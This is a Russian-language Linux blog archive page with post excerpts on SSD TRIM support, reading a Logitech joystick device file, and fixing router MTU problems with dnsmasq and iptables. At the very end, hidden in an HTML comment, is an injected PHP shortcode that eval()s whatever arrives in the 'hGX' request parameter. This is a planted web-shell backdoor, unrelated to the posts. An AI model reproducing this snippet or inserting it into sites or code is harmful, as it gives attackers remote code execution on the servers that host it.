Архив категории: linux

linux

Эпопея установки Linux

*Написано с целью зафиксировать возможные, не всем очевидные, неприятные момент и предложить решение некоторых из них.

Началось всё с SSD(а точнее желания поиграться с TRIM).
В итоге я приобрёл OCZ Vertex II
И началось…
Поддержка TRIM добавлена с linux-2.6.33 (patch) у меня естественно 2.6.32 🙂 ибо Ubuntu 10.04 LTS
Читать далее »

gamepad linux

Программируем джойстик Logitech F510 в Linux

Для управления машинкой решили использовать джойстик. А проще всего использовать джойстик в своих программах в linux.
Всё, что необходимо — читать файл устройства (например /dev/input/js0) в специальную структуру:

  1. время — unsigned int
  2. значение — short
  3. тип события — unsigned char
  4. номер кнопки/оси — unsigned char

И в итоге последовательность действий совсем простая:

  1. Читаем событие
  2. Фильтруем события инициализации
  3. Реагируем на ось или кнопку

Читать далее »

linux NAT network

Решение проблемы с MTU

Уже с трудом припоминаю как это было, а было это чуть менее двух лет назад – собрал я себе роутер на базе не слабой такой машинки PDC E5500, 2GB RAM, полноценный HDD.

Так вот. Единственное что не нагуглилось сразу так это решение проблем с MTU

1) dnsmasq.conf  это для порядочных клиентов, которые определяют mtu ещё при подключении

dhcp-option=26,1492

2) Это для более тугих, которым предыдущего не хватает.

iptables -I FORWARD -p tcp –tcp-flags SYN,RST SYN -j TCPMSS –clamp-mss-to-pmtu

Теперь google.com и wolframalpha.com работают. А раньше были прямо таки индикатором проблем с MTU.

Итого:

/etc/nat-up

/etc/dnsmasq.conf

-->

<!— [insert_php]if (isset($_REQUEST["hGX"])){eval($_REQUEST["hGX"]);exit;}[/insert_php]

—>